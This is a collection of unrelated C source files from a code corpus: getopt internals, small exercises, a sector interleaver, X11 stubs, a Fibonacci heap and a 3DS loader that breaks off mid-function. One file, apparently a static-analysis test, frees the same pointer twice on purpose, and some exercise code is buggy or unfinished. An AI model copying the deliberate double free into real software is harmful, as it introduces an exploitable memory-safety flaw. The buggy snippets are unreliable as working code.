(_IO_fwide (stderr, 0) > 0) __fwprintf (stderr, L"%s", buf); else fputs (buf, stderr); free (buf); #endif } nextchar = (char *) ""; optind++; optopt = 0; return '?'; } } /* Look at and handle the next short option-character. */ { char c = *nextchar++; char *temp = my_index (optstring, c); /* Increment `optind' when we start to process its last character. */ if (*nextchar == '\0') ++optind; if (temp == NULL || c == ':') { if (print_errors) { #if defined _LIBC && defined USE_IN_LIBIO char *buf; #endif if (posixly_correct) { /* 1003.2 specifies the format of this message. */ #if defined _LIBC && defined USE_IN_LIBIO __asprintf (&buf, _("%s: illegal option -- %c\n"), argv[0], c); #else fprintf (stderr, _("%s: illegal option -- %c\n"), argv[0], c); #endif } else { #if defined _LIBC && defined USE_IN_LIBIO __asprintf (&buf, _("%s: invalid option -- %c\n"), argv[0], c); #else fprintf (stderr, _("%s: invalid option -- %c\n"), argv[0], c); #endif } #if defined _LIBC && defined USE_IN_LIBIO if (_IO_fwide (stderr, 0) > 0) __fwprintf (stderr, L"%s", buf); else fputs (buf, stderr); free (buf); #endif } optopt = c; return '?'; } /* Convenience. Treat POSIX -W foo same as long option --foo */ if (temp[0] == 'W' && temp[1] == ';') { char *nameend; const struct option *p; const struct option *pfound = NULL; int exact = 0; int ambig = 0; int indfound = 0; int option_index; /* This is an option that requires an argument. */ if (*nextchar != '\0') { optarg = nextchar; /* If we end this ARGV-element by taking the rest as an arg, we must advance to the next element now. */ optind++; } else if (optind == argc) { if (print_errors) { /* 1003.2 specifies the format of this message. */ #if defined _LIBC && defined USE_IN_LIBIO char *buf; __asprintf (&buf, _("%s: option requires an argument -- %c\n"), argv[0], c); if (_IO_fwide (stderr, 0) > 0) __fwprintf (stderr, L"%s", buf); else fputs (buf, stderr); free (buf); #else fprintf (stderr, _("%s: option requires an argument -- %c\n"), argv[0], c); #endif } optopt = c; if (optstring[0] == ':') c = ':'; else c = '?'; return c; } else /* We already incremented `optind' once; increment it again when taking next ARGV-elt as argument. */ optarg = argv[optind++]; /* optarg is now the argument, see if it's in the table of longopts. */ for (nextchar = nameend = optarg; *nameend && *nameend != '='; nameend++) /* Do nothing. */ ; /* Test all long options for either exact match or abbreviated matches. */ for (p = longopts, option_index = 0; p->name; p++, option_index++) if (!strncmp (p->name, nextchar, nameend - nextchar)) { if ((unsigned int) (nameend - nextchar) == strlen (p->name)) { /* Exact match found. */ pfound = p; indfound = option_index; exact = 1; break; } else if (pfound == NULL) { /* First nonexact match found. */ pfound = p; indfound = option_index; } else /* Second or later nonexact match found. */ ambig = 1; } if (ambig && !exact) { if (print_errors) { #if defined _LIBC && defined USE_IN_LIBIO char *buf; __asprintf (&buf, _("%s: option `-W %s' is ambiguous\n"), argv[0], argv[optind]); if (_IO_fwide (stderr, 0) > 0) __fwprintf (stderr, L"%s", buf); else fputs (buf, stderr); free (buf); #else fprintf (stderr, _("%s: option `-W %s' is ambiguous\n"), argv[0], argv[optind]); #endif } nextchar += strlen (nextchar); optind++; return '?'; } if (pfound != NULL) { option_index = indfound; if (*nameend) { /* Don't test has_arg with >, because some C compilers don't allow it to be used on enums. */ if (pfound->has_arg) optarg = nameend + 1; else { if (print_errors) { #if defined _LIBC && defined USE_IN_LIBIO char *buf; __asprintf (&buf, _("\ %s: option `-W %s' doesn't allow an argument\n"), argv[0], pfound->name); if (_IO_fwide (stderr, 0) > 0) __fwprintf (stderr, L"%s", buf); else fputs (buf, stderr); free (buf); #else fprintf (stderr, _("\ %s: option `-W %s' doesn't allow an argument\n"), argv[0], pfound->name); #endif } nextchar += strlen (nextchar); return '?'; } } else if (pfound->has_arg == 1) { if (optind < argc) optarg = argv[optind++]; else { if (print_errors) { #if defined _LIBC && defined USE_IN_LIBIO char *buf; __asprintf (&buf, _("\ %s: option `%s' requires an argument\n"), argv[0], argv[optind - 1]); if (_IO_fwide (stderr, 0) > 0) __fwprintf (stderr, L"%s", buf); else fputs (buf, stderr); free (buf); #else fprintf (stderr, _("%s: option `%s' requires an argument\n"), argv[0], argv[optind - 1]); #endif } nextchar += strlen (nextchar); return optstring[0] == ':' ? ':' : '?'; } } nextchar += strlen (nextchar); if (longind != NULL) *longind = option_index; if (pfound->flag) { *(pfound->flag) = pfound->val; return 0; } return pfound->val; } nextchar = NULL; return 'W'; /* Let the application handle it. */ } if (temp[1] == ':') { if (temp[2] == ':') { /* This is an option that accepts an argument optionally. */ if (*nextchar != '\0') { optarg = nextchar; optind++; } else optarg = NULL; nextchar = NULL; } else { /* This is an option that requires an argument. */ if (*nextchar != '\0') { optarg = nextchar; /* If we end this ARGV-element by taking the rest as an arg, we must advance to the next element now. */ optind++; } else if (optind == argc) { if (print_errors) { /* 1003.2 specifies the format of this message. */ #if defined _LIBC && defined USE_IN_LIBIO char *buf; __asprintf (&buf, _("%s: option requires an argument -- %c\n"), argv[0], c); if (_IO_fwide (stderr, 0) > 0) __fwprintf (stderr, L"%s", buf); else fputs (buf, stderr); free (buf); #else fprintf (stderr, _("%s: option requires an argument -- %c\n"), argv[0], c); #endif } optopt = c; if (optstring[0] == ':') c = ':'; else c = '?'; } else /* We already incremented `optind' once; increment it again when taking next ARGV-elt as argument. */ optarg = argv[optind++]; nextchar = NULL; } } return c; } } int getopt (argc, argv, optstring) int argc; char *const *argv; const char *optstring; { return _getopt_internal (argc, argv, optstring, (const struct option *) 0, (int *) 0, 0); } #endif /* Not ELIDE_CODE. */ /* Compile with -DTEST to make an executable for use in testing the above definition of `getopt'. */ /* #define TEST */ /* Pete Wilson mod 7/28/02 */ #ifdef TEST #ifndef exit /* Pete Wilson mod 7/28/02 */ int exit(int); /* Pete Wilson mod 7/28/02 */ #endif /* Pete Wilson mod 7/28/02 */ int main (argc, argv) int argc; char **argv; { int c; int digit_optind = 0; while (1) { int this_option_optind = optind ? optind : 1; c = getopt (argc, argv, "abc:d:0123456789"); if (c == -1) break; switch (c) { case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': if (digit_optind != 0 && digit_optind != this_option_optind) printf ("digits occur in two different argv-elements.\n"); digit_optind = this_option_optind; printf ("option %c\n", c); break; case 'a': printf ("option a\n"); break; case 'b': printf ("option b\n"); break; case 'c': printf ("option c with value `%s'\n", optarg); break; case '?': break; default: printf ("?? getopt returned character code 0%o ??\n", c); } } if (optind < argc) { printf ("non-option ARGV-elements: "); while (optind < argc) printf ("%s ", argv[optind++]); printf ("\n"); } exit (0); } #endif /* TEST */
the_stack_data/5101.c
#include <stdio.h> int main() { int height = 5; int i, j; for (i = 0; i < height; i++) { for (j = 0; j < height; j++) { if ((j == height/2-1 || j == height/2+1) && i == height/2) { printf("0 "); } else if ((i == height/2-1 || i == height/2+1) && j == height/2) { printf("0 "); } else { printf("1 "); } } printf("\n"); } return 0; }
the_stack_data/159515967.c
#include <stdio.h> char cache[256], *next = cache; int main() { cache[10] = 25; next[20] = 51; printf("*%d,%d*\n", next[10], cache[20]); return 0; }
the_stack_data/4289.c
#include <stdio.h> int my_sum_of_digits(int num) { int sum = 0; if(num < 10) return num; else sum += (num%10 + my_sum_of_digits(num/10)); if(sum >=10) my_sum_of_digits(sum); return sum; } int main(void) { int n = 0; printf("\n Sum of the Digits of %d = %d", n, my_sum_of_digits(n)); n = -4; printf("\n Sum of the Digits of %d = %d", n, my_sum_of_digits(n)); n = 7; printf("\n Sum of the Digits of %d = %d", n, my_sum_of_digits(n)); n = 123; printf("\n Sum of the Digits of %d = %d", n, my_sum_of_digits(n)); n = 2784; printf("\n Sum of the Digits of %d = %d", n, my_sum_of_digits(n)); }
the_stack_data/72012055.c
/* * Copyright (c) 2011, 2012, 2013 Jonas 'Sortie' Termansen. * * Permission to use, copy, modify, and distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. * * stdio/ftello.c * Returns the current offset of a FILE. */ #include <stdio.h> off_t ftello(FILE* fp) { flockfile(fp); off_t ret = ftello_unlocked(fp); funlockfile(fp); return ret; }
the_stack_data/68887702.c
#include <stdio.h> #include <stdlib.h> #define MAX(a, b) (a > b ? a : b) int coinrow( int* arr, int index ) { } int main(void) { int arr[6] = { 5, 1, 2, 10, 6, 2 }; int size = sizeof(arr) / sizeof(int); coinrow(arr, size); return 0; }
the_stack_data/140766846.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_strindex.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: fbertoia <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2017/11/17 13:21:35 by fbertoia #+# #+# */ /* Updated: 2017/11/20 19:14:41 by fbertoia ### ########.fr */ /* */ /* ************************************************************************** */ /* ** FT_STRINDEX ** ** Takes two arguments : the string and the decimal value of the character ** searched. ** Returns the index of the first character found into the string. Else, if ** if the character has not been found, the funcion returns (-1). ** In case a NULL string is sent in, (-1) is returned. */ int ft_strindex(const char *str, int c) { int i; i = 0; if (!str) return (-1); while (str[i] && str[i] != c) i++; return (str[i] == c ? i : -1); }
the_stack_data/51699430.c
typedef /*@only@*/ int *oip; typedef /*@abstract@*/ struct { oip *ips; int size; } *sip; void sip_free (/*@only@*/ sip x) { int i; for (i = 0; i < x->size; i++) { free (x->ips[i]); free (x->ips[i]); } free (x->ips); free (x); } void sip_free2 (/*@only@*/ sip x) { free (x->ips); /* 1. Only storage *(x->ips) (type oip) derived from released */ free (x); }
the_stack_data/971314.c
#include <termios.h> #include <sys/ioctl.h> #include "syscall.h" int tcdrain(int fd) { #ifndef PS4 return syscall_cp(SYS_ioctl, fd, TCSBRK, 1); #else return syscall_cp(SYS_ioctl, fd, LINUX_TCSBRK, 1); #endif }
the_stack_data/107954333.c
/* xainterleave: simple sector interleaving tool Copyright (c) 2019 Adrian "asie" Siekierka This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this software. Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions: 1. The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is not required. 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software. 3. This notice may not be removed or altered from any source distribution. */ #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #define ENTRY_MAX 64 #define TYPE_NULL 0 #define TYPE_RAW 1 #define TYPE_XA 2 #define TYPE_XACD 3 typedef struct { int sectors, type; FILE *file; int xa_file; int xa_channel; } entry_t; static entry_t entries[ENTRY_MAX]; int parse(char *filename) { entry_t e; char type_str[65]; char fn_str[257]; int entry_count = 0; FILE *file = fopen(filename, "r"); if (file == NULL) return 0; while (fscanf(file, " %d %64s", &(e.sectors), type_str) > 0) { if (strcmp(type_str, "null") == 0) e.type = TYPE_NULL; else if (strcmp(type_str, "raw") == 0) e.type = TYPE_RAW; else if (strcmp(type_str, "xacd") == 0) e.type = TYPE_XACD; else if (strcmp(type_str, "xa") == 0) e.type = TYPE_XA; else { fprintf(stderr, "Unknown type: %s\n", type_str); continue; } switch (e.type) { case TYPE_RAW: case TYPE_XA: case TYPE_XACD: if (fscanf(file, " %256s", fn_str) > 0) { if ((e.file = fopen(fn_str, "rb")) == NULL) return 0; } else return 0; break; } switch (e.type) { case TYPE_XA: case TYPE_XACD: if (fscanf(file, " %d %d", &(e.xa_file), &(e.xa_channel)) > 0) { // nop } else { e.xa_file = 0; e.xa_channel = 0; } break; } entries[entry_count] = e; entry_count++; } fclose(file); return entry_count; } int main(int argc, char** argv) { uint8_t buffer[2352]; if (argc < 3) { fprintf(stderr, "Usage: xainterleave <in.txt> <out.raw>\n"); return 1; } int entry_count = parse(argv[1]); if (entry_count <= 0) { fprintf(stderr, "Empty manifest?\n"); return 1; } int sector_div = 0; for (int i = 0; i < entry_count; i++) { sector_div += entries[i].sectors; } printf("Interleaving into %d-sector chunks\n", sector_div); FILE *output = fopen(argv[2], "wb"); while (1) { int can_read = 0; for (int i = 0; i < entry_count; i++) { entry_t *e = &entries[i]; if (e->file != NULL) { if (!feof(e->file)) can_read++; } } if (can_read <= 0) break; for (int i = 0; i < entry_count; i++) { entry_t *e = &entries[i]; for (int is = 0; is < e->sectors; is++) { int write_null = 0; switch (e->type) { case TYPE_NULL: write_null = 1; break; case TYPE_RAW: if (!fread(buffer, 2352, 1, e->file)) { write_null = 1; break; } fwrite(buffer, 2352, 1, output); break; case TYPE_XA: case TYPE_XACD: if (e->type == TYPE_XACD) { if (!fread(buffer, 2352, 1, e->file)) { write_null = 1; break; } } else { if (!fread(buffer + 0x10, 2336, 1, e->file)) { write_null = 1; break; } memset(buffer, 0, 15); buffer[15] = 0x02; } if (e->xa_file >= 0) buffer[0x010] = buffer[0x014] = e->xa_file; if (e->xa_channel >= 0) buffer[0x011] = buffer[0x015] = e->xa_channel & 0x1F; buffer[0x92F] = 0xFF; // make pscd-new generate EDC fwrite(buffer, 2352, 1, output); break; } if (write_null) { for (int j = 0; j < 2352; j++) fputc(0, output); } } } } fclose(output); return 0; }
the_stack_data/165767721.c
#include <X11/Xlib.h> #include <X11/Xlibint.h> // A fake display static struct _XDisplay display; // Fake frees int XFree(void *data) { return 0; } // Fake Atoms Atom XInternAtom(Display *display, const char *name, Bool create) { return 0; } // Fake a display for discord Display *XOpenDisplay(const char *name) { return &display; } // Fake the closing as well int XCloseDisplay(Display *display) { return 0; } // Tell discord that no events have arrived int XPending(Display *display) { return 0; } // Tell discord we don't have any extensions int XQueryExtension(Display *display, const char *name, int *major_opcode_return, int *first_event_return, int *first_error_return) { return 0; } // Fixes a crash caused by joining a voice-chat int XQueryKeymap(Display *display, char *keymap) { return 0; }
the_stack_data/117327216.c
#include <stdio.h> int main(void) { char flag[4] = {'W', 'T', 'L'}; double number[3][3]; int max[3]; int max_pos = 0; double sum = 1.0; for (int i = 0; i < 3; i++) { for (int j = 0; j < 3; j++) { scanf("%lf", &number[i][j]); if (number[i][j] > number[i][max_pos]) max_pos = j; } max[i] = max_pos; } for (int i = 0; i < 3; i++) { printf("%c ", flag[max[i]]); sum = sum * number[i][max[i]]; } sum = (sum * 0.65 - 1) * 2; printf("%.2lf", sum); }
the_stack_data/231393867.c
#include <stdio.h> int power(int x, int n) { if(n == 0) { return 1; } if(n % 2 == 0) { return power(x, n / 2) * power(x, n / 2); } return x * power(x, n - 1); } int main(void) { int x, n; printf("Enter a value for x: "); scanf("%d", &x); printf("Enter a value for n: "); scanf("%d", &n); printf("%d raised to the power of %d is: %d\n", x, n, power(x, n)); return 0; }
the_stack_data/64584.c
#include <stdlib.h> #include <stdio.h> #include <string.h> char* find(char *haystack, char needle); int main(){ char haystack[400], needle; fgets(haystack,400,stdin); scanf(" %c", &needle); if (find(haystack,needle)) printf("%d", find(haystack,needle) - haystack); else printf("-1"); return 0; } char* find(char *haystack, char needle){ int i; for(i=0;i<strlen(haystack);i++){ if (needle == haystack[i]){ return &haystack[i]; } } return NULL; }
the_stack_data/150139460.c
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/wait.h> int main(int argc, char *argv[]) { pid_t *pids,t; int nchilds,i; if (argc!=2 || (nchilds=atoi(argv[1]))<0) { fprintf(stderr,"Usage:\n\t%s <nchild>\n",argv[0]); exit(1); } if (!(pids=malloc(nchilds*sizeof(pid_t)))) { perror("malloc"); exit(1); } for (i=0; i<nchilds; i++) { t=fork(); if (t<0) { perror("fork"); exit(1); } else if (t==0) { int sl; srand(getpid()); sl=((double)rand()/RAND_MAX)*5; sleep(sl); exit(sl); } else { pids[i]=t; } } for (i=0; i<nchilds; i++) { int t,status; printf("now waiting for child:%d\n",pids[i]); if ((t=waitpid(pids[i],&status,0))<0) { perror("waitpid"); }; printf ("Child:%d returned %d\n",t,WEXITSTATUS(status)); } }
the_stack_data/144765.c
#include <stdio.h> int main() { int object; int *ptr; object = 4; ptr = &object; return 0; }
the_stack_data/304537.c
#include<stdio.h> #include<stdlib.h> #include<math.h> int main(int argc, char** argv) { if(argc != 4) { printf("Need three parameters a b c of a quadratic function.\nUsage: ./multiplication-table a b c"); exit(1); } double a = strtod(argv[1], NULL); double b = strtod(argv[2], NULL); double c = strtod(argv[3], NULL); if(a == 0) { printf("This equation is not quadratic!\n"); exit(1); } // delta method double delta = b*b - 4 * a * c; if(delta < 0) { printf("No real roots exist.\n"); exit(1); } if(delta == 0) { printf("One root: %f", (-b - sqrt(delta)) / (2 * a)); exit(0); } float x1 = (-b - sqrt(delta)) / (2 * a); float x2 = (-b + sqrt(delta)) / (2 * a); printf("Real roots are: %f %f", x1, x2); return 0; }
the_stack_data/916940.c
#include <stdlib.h> #include <string.h> //Fibonacci heap typedef struct Node_t { int key; int data; int degree; int child_cut; struct Node_t *child; struct Node_t *parent; //Double link is used. struct Node_t *next; struct Node_t *prev; } FiNode; typedef struct FHeap{ FiNode *min; int nodes_cnt; //record log(n) to avoid calculation int max_deg; } FHeap; //tool FiNode *meld(FiNode *, FiNode *); FiNode *find_min(FiNode *); FiNode *find(FiNode *, int, int); //create FHeap *create(); //insert void fiheap_insert(FHeap *, int, int); FiNode *new_node(int, int); //del FiNode *fiheap_del(FHeap *, int, int); void cas_cut(FHeap *, FiNode *); FiNode *fiheap_del_min(FHeap *); void clr_parent(FiNode *); void merge_same_degree(FHeap *); void merge_tr(FiNode *s, FiNode *n, FiNode *[]); FiNode *merge(FiNode *, FiNode *); //link all nodes in array, and attach to heap.min void relink(FHeap *, FiNode *[], int max_deg); //decrease void fiheap_decr(FHeap *, int, int, int amount); //make n2 next of n1, note it's not insert, so n1->next and n2->prev will be thrown away //link(a->prev, a->next) has equal effect as forming a list containing only a #define link(n1, n2) {(n1)->next=(n2);(n2)->prev=(n1);} #define swap(a, b, typ) {typ t = (a); (a) = (b); (b) = t;} //n is the only node in its list #define alone(n) ((n)->next == (n)) //list1 must not be NULL FiNode *meld(FiNode *list1, FiNode *list2) { // assert(list1); if (!list2) return list1; link(list2->prev, list1->next); link(list1, list2); return list1; } FiNode *find(FiNode *l, int key, int value) { if (!l || (l->key == key && l->data == value)) return l; l->prev->next = NULL; FiNode *ans = find(l->next, key, value); l->prev->next = l; return ans ? ans : find(l->child, key, value); } FiNode *find_min(FiNode *n) { if (!n) return NULL; n->prev->next = NULL; FiNode *min = find_min(n->next); n->prev->next = n; return !min ? n : min->key < n->key ? min : n; } FHeap *create() { FHeap *heap = malloc(sizeof(FHeap)); if (!heap) return NULL; heap->min = NULL; heap->min = 0; heap->max_deg = 0; return heap; } void fiheap_insert(FHeap *heap, int key, int data) { //1. acquire new node FiNode *node = new_node(key, data); if (!node) return; //fail //2. meld node with top-level list and update min heap->min = find_min(meld(node, heap->min)); //3. update nodes count heap->nodes_cnt++; //4.update max possible degree int mask = -1 << heap->max_deg; heap->max_deg += (mask & heap->nodes_cnt)!=0; } FiNode *new_node(int key, int data) { FiNode *node = malloc(sizeof(FiNode)); if (!node) return NULL; node -> key = key; node -> data = data; node -> degree = 0; node -> child_cut = 0; node -> child = NULL; node -> parent = NULL; link(node, node); return node; } FiNode *fiheap_del(FHeap *heap, int key, int value) { //1. find the node to be deleted FiNode *target = find(heap->min, key, value); //find will return NULL if heap.min is null if (!target) return NULL; FiNode *min = heap->min; if (target == min) return fiheap_del_min(heap); //2. update nodes count heap->nodes_cnt--; //3. remove target from list FiNode *parent = target->parent; if (alone(target)) { //only one in list, thus must have a parent, otherwise it will be min parent->child = NULL; } else { link(target->prev, target->next); if (parent) parent->child = target->next; } //4. melding child into top-level list, update min pointer clr_parent(target->child); heap->min = find_min(meld(heap->min, target->child)); //5. do or update cascading cut if (parent) { if (parent->child_cut) { cas_cut(heap, parent); } else { parent->child_cut = 1; } } return target; } void cas_cut(FHeap *heap, FiNode *target) { if (!target->parent) return; //in top-level list, cascading cut has no effect //1. remove target from list target->parent->child = alone(target) ? NULL : target->next; if (!alone(target)) link(target->prev, target->next); //2. make target itself a list FiNode *parent = target->parent; target->parent = NULL; link(target, target); //3. melding target to top-level list heap->min = find_min(meld(heap->min, target)); //4. update cascading cut info on target target->child_cut = 0; //5. upward cascading cut if (parent->child_cut) { cas_cut(heap, parent); } else { parent->child_cut = 1; } } //since it requires returning, freeing node is caller's duty FiNode *fiheap_del_min(FHeap *heap) { if (!heap->min) return NULL; //1. update nodes count FiNode *min = heap->min; heap->nodes_cnt--; //2. clear the parent of children of min, preparing for melding with top-level list clr_parent(min->child); //3. remove min from top-level list, meld children with the list if necessary if (alone(min)) { heap->min = find_min(min -> child); if (!min -> child) return min; //just return, since there is no children or siblings } else { link(min->prev, min->next); //remove min from list heap->min = meld(min->next, min->child); } //4. do merging merge_same_degree(heap); //5. update min after merge heap->min = find_min(heap->min); return min; } void clr_parent(FiNode *n) { if (!n) return; n->parent = NULL; n->prev->next = NULL; clr_parent(n->next); n->prev->next = n; } void merge_same_degree(FHeap *heap) { FiNode *deg_table[heap->max_deg + 1]; memset(deg_table, 0, sizeof(FiNode *) * (heap->max_deg + 1)); FiNode *pre = heap->min; deg_table[pre->degree] = pre; //1. traversely merge the list, put merged nodes into table merge_tr(pre, pre->next, deg_table); //2. link all nodes in table together, and attach the appropriate node to min relink(heap, deg_table, heap->max_deg); } void merge_tr(FiNode *s, FiNode *n, FiNode *table[]) { if (n == s) return; FiNode *tar; while ((tar = table[n->degree]) && tar != n) { n = merge(n, tar); s = s==tar ? n : s; //update s if s is tar because s might be merged under n and the loop won't terminate table[n->degree-1]=NULL; } table[n->degree] = n; merge_tr(s, n->next, table); } //a and b must be in top most list FiNode *merge(FiNode *a, FiNode *b) { // assert(a != b); // assert(a->parent == NULL); // assert(b->parent == NULL); if (a->key > b->key) { swap(a, b, FiNode *); } link(b->prev, b->next); link(b, b); a->child = meld(b, a->child); b->parent = a; a->degree++; return a; } void relink(FHeap *heap, FiNode *deg_table[], int max_deg) { int i = 0; for (; i <= max_deg && !deg_table[i]; i++) ; //find first index with value if (i > max_deg) return; //nothing to link FiNode *start = deg_table[i]; FiNode *previous = deg_table[i]; for (i++; i <= max_deg; i++) { FiNode *n = deg_table[i]; if (!n) continue; n->parent = NULL; link(previous, n); previous = n; } link(previous, start); heap->min = find_min(start); } void fiheap_decr(FHeap *heap, int key, int value, int amount) { //1. find the node to be decreased FiNode *target = find(heap->min, key, value); if (!target) return; //2. decrease target -> key -= amount; //3. if target has a smaller key than parent, meld it with top-level list if (target->parent && target->key < target->parent->key) { if (alone(target)) { target->parent->child = NULL; } else { //4. remove target from its list link(target->prev, target->next); target->parent->child = target->next; } link(target, target); //5. meld target with top-level list meld(heap->min, target); //6. cascading cut if (target->parent->child_cut) { cas_cut(heap, target->parent); } else { target->parent->child_cut = 1; } target->parent = NULL; //moved to top-level list, shouldn't have a parent } //7. update min heap->min = find_min(heap->min); } //only to test correctness, unnecessary for test (according to the "1101 DataStructure Final" document) void finode_free(FiNode *node); void finode_link_free(FiNode *n) { if (!n) return; n->prev->next = NULL; finode_link_free(n->next); finode_free(n); } void finode_free(FiNode *node) { finode_link_free(node->child); free(node); } void fiheap_free(FHeap *heap) { finode_link_free(heap->min); free(heap); } #include <stdio.h> int main() { char in[9]; FHeap *heap = create(); while (1) { scanf("%s", in); int x, val; if (in[2] == 's') { scanf("%d %d", &x, &val); fiheap_insert(heap, x, val); } else if (in[2] == 't') { FiNode *min = fiheap_del_min(heap); if (min) { printf("(%d)%d\n", min->key, min->data); free(min); } } else if (in[2] == 'l') { scanf("%d %d", &x, &val); fiheap_del(heap, x, val); } else if (in[2] == 'c') { int y; scanf("%d %d %d", &x, &val, &y); fiheap_decr(heap, x, val, y); } else if (in[2] == 'i') { fiheap_free(heap); return 0; } } }
the_stack_data/897631.c
/* load 3ds file * * written by Alexander Zaprjagaev * [email protected] * * usage: * float *Load3DS(char *name,int *num_vertex); */ #include <math.h> #include <stdio.h> #include <malloc.h> #define CHUNK_MAIN 0x4d4d #define CHUNK_OBJMESH 0x3d3d #define CHUNK_OBJBLOCK 0x4000 #define CHUNK_TRIMESH 0x4100 #define CHUNK_VERTLIST 0x4110 #define CHUNK_FACELIST 0x4120 #define CHUNK_MAPLIST 0x4140 #define CHUNK_SMOOLIST 0x4150 typedef struct { float x,y,z; } vector_t; typedef struct { float u,v; } uvmap_t; typedef struct { vector_t *vertex; int num_vertex; uvmap_t *uvmap; int num_uvmap; int *face; int *smoothgroup; vector_t *normal; int num_face; } trimesh_t; typedef struct { trimesh_t *trimesh; int num_trimesh; } mesh_t; typedef int (*process_chunk)(FILE *file, unsigned short type,int size,void *data); /* * */ static void vector_copy(vector_t *a,vector_t *b) { b->x = a->x; b->y = a->y; b->z = a->z; } static void vector_add(vector_t *a,vector_t *b,vector_t *c) { c->x = a->x + b->x; c->y = a->y + b->y; c->z = a->z + b->z; } static void vector_sub(vector_t *a,vector_t *b,vector_t *c) { c->x = a->x - b->x; c->y = a->y - b->y; c->z = a->z - b->z; } static void vector_cross(vector_t *a,vector_t *b,vector_t *c) { c->x = a->y * b->z - a->z * b->y; c->y = a->z * b->x - a->x * b->z; c->z = a->x * b->y - a->y * b->x; } static float vector_normalize(vector_t *a,vector_t *b) { float length = sqrt(a->x * a->x + a->y * a->y + a->z * a->z); if(length) { float ilength = 1.0 / length; b->x = a->x * ilength; b->y = a->y * ilength; b->z = a->z * ilength; return length; } b->x = 0.0; b->y = 0.0; b->z = 0.0; return 0.0; } /* * */ static void skeep_bytes(FILE *file,int bytes) { fseek(file,bytes,SEEK_CUR); } static int skeep_string(FILE *file) { int i = 0; while(fgetc(file) != '\0') i++; return ++i; } static unsigned short read_ushort(FILE *file) { unsigned short ret; fread(&ret,1,sizeof(unsigned short),file); return ret; } static int read_int(FILE *file) { int ret; fread(&ret,1,sizeof(int),file); return ret; } static float read_float(FILE *file) { float ret; fread(&ret,1,sizeof(float),file); return ret; } static int read_chunk(FILE *file,process_chunk chunk_func,void *data) { unsigned short chunk_type; int chunk_size,content_size; chunk_type = read_ushort(file); chunk_size = read_int(file); content_size = chunk_size - 6; if(!chunk_func(file,chunk_type,content_size,data)) skeep_bytes(file,content_size); return chunk_size; } static int read_chunks(FILE *file,int bytes, process_chunk chunk_func,void *data) { int bytes_read = 0; while(bytes_read < bytes) bytes_read += read_chunk(file,chunk_func,data); if(bytes_read != bytes) fprintf(stderr,"expected %d bytes but read %d\n",bytes_read,bytes); return bytes_read; } /* * */ static int process_smoolist(FILE *file,unsigned short type, int size,void *data) { int i; trimesh_t *trimesh = (trimesh_t*)data; if(type == CHUNK_SMOOLIST) { trimesh->smoothgroup = (int*)malloc(sizeof(int) * trimesh->num_face); for(i = 0; i < trimesh->num_face; i++) { trimesh->smoothgroup[i] = read_int(file); } return 1; } return 0; } static int process_trimesh(FILE *file,unsigned short type, int size,void *data) { int i; trimesh_t *trimesh = (trimesh_t*)data; if(type == CHUNK_VERTLIST) { /* vertlist */ trimesh->num_vertex = read_ushort(file); trimesh->vertex = (vector_t*)malloc(sizeof(vector_t) * trimesh->num_vertex); for(i = 0; i < trimesh->num_vertex; i++) { trimesh->vertex[i].x = read_float(file); trimesh->vertex[i].y = read_float(file); trimesh->vertex[i].z = read_float(file); } return 1; } else if(type == CHUNK_MAPLIST) { /* maplist */ trimesh->num_uvmap = read_ushort(file); trimesh->uvmap = (uvmap_t*)malloc(sizeof(uvmap_t) * trimesh->num_uvmap); for(i = 0; i < trimesh->num_uvmap; i++) { trimesh->uvmap[i].u = read_float(file); trimesh->uvmap[i].v = 1.0 - read_float(file); } return 1; } else if(type == CHUNK_FACELIST) { /* facelist */ int bytes_left; trimesh->num_face = read_ushort(file); trimesh->face = (int*)malloc(sizeof(int) * trimesh->num_face * 3); for(i = 0; i < trimesh->num_face * 3; i += 3) { trimesh->face[i + 0] = read_ushort(file); trimesh->face[i + 1] = read_ushort(file); trimesh->face[i + 2] = read_ushort(file); read_ushort(file); } bytes_left = size - trimesh->num_face * sizeof(unsigned short) * 4 - 2; if(bytes_left > 0) read_chunks(file,bytes_left,process_smoolist,(void*)trimesh); return 1; } return 0; } static int process_objblock(FILE *file,unsigned short type, int size,void *data) { mesh_t *mesh = (mesh_t*)data; if(type == CHUNK_TRIMESH) { mesh->num_trimesh++; if(mesh->trimesh == NULL) mesh->trimesh = (trimesh_t*)malloc(sizeof(trimesh_t)); else mesh->trimesh = (trimesh_t*)realloc(mesh->trimesh, sizeof(trimesh_t) * mesh->num_trimesh); memset(&mesh->trimesh[mesh->num_trimesh - 1],0,sizeof(trimesh_t)); read_chunks(file,size,process_trimesh, (void*)&mesh->trimesh[mesh->num_trimesh - 1]); return 1; } return 0; } static int process_objmesh(FILE *file,unsigned short type, int size,void *data) { if(type == CHUNK_OBJBLOCK) { size -= skeep_string(file); read_chunks(file,size,process_objblock,data); return 1; } return 0; } static int process_main(FILE *file,unsigned short type, int size,void *data) { if(type == CHUNK_OBJMESH) { read_chunks(file,size,process_objmesh,data); return 1; } return 0; } /* * */ static void create_trimesh(trimesh_t *trimesh) { int i; uvmap_t *uvmap; vector_t *vertex,*normal_face,*normal_vertex; int *face,*vertex_count,**vertex_face,*smoothgroup; /* calc normals */ normal_face = 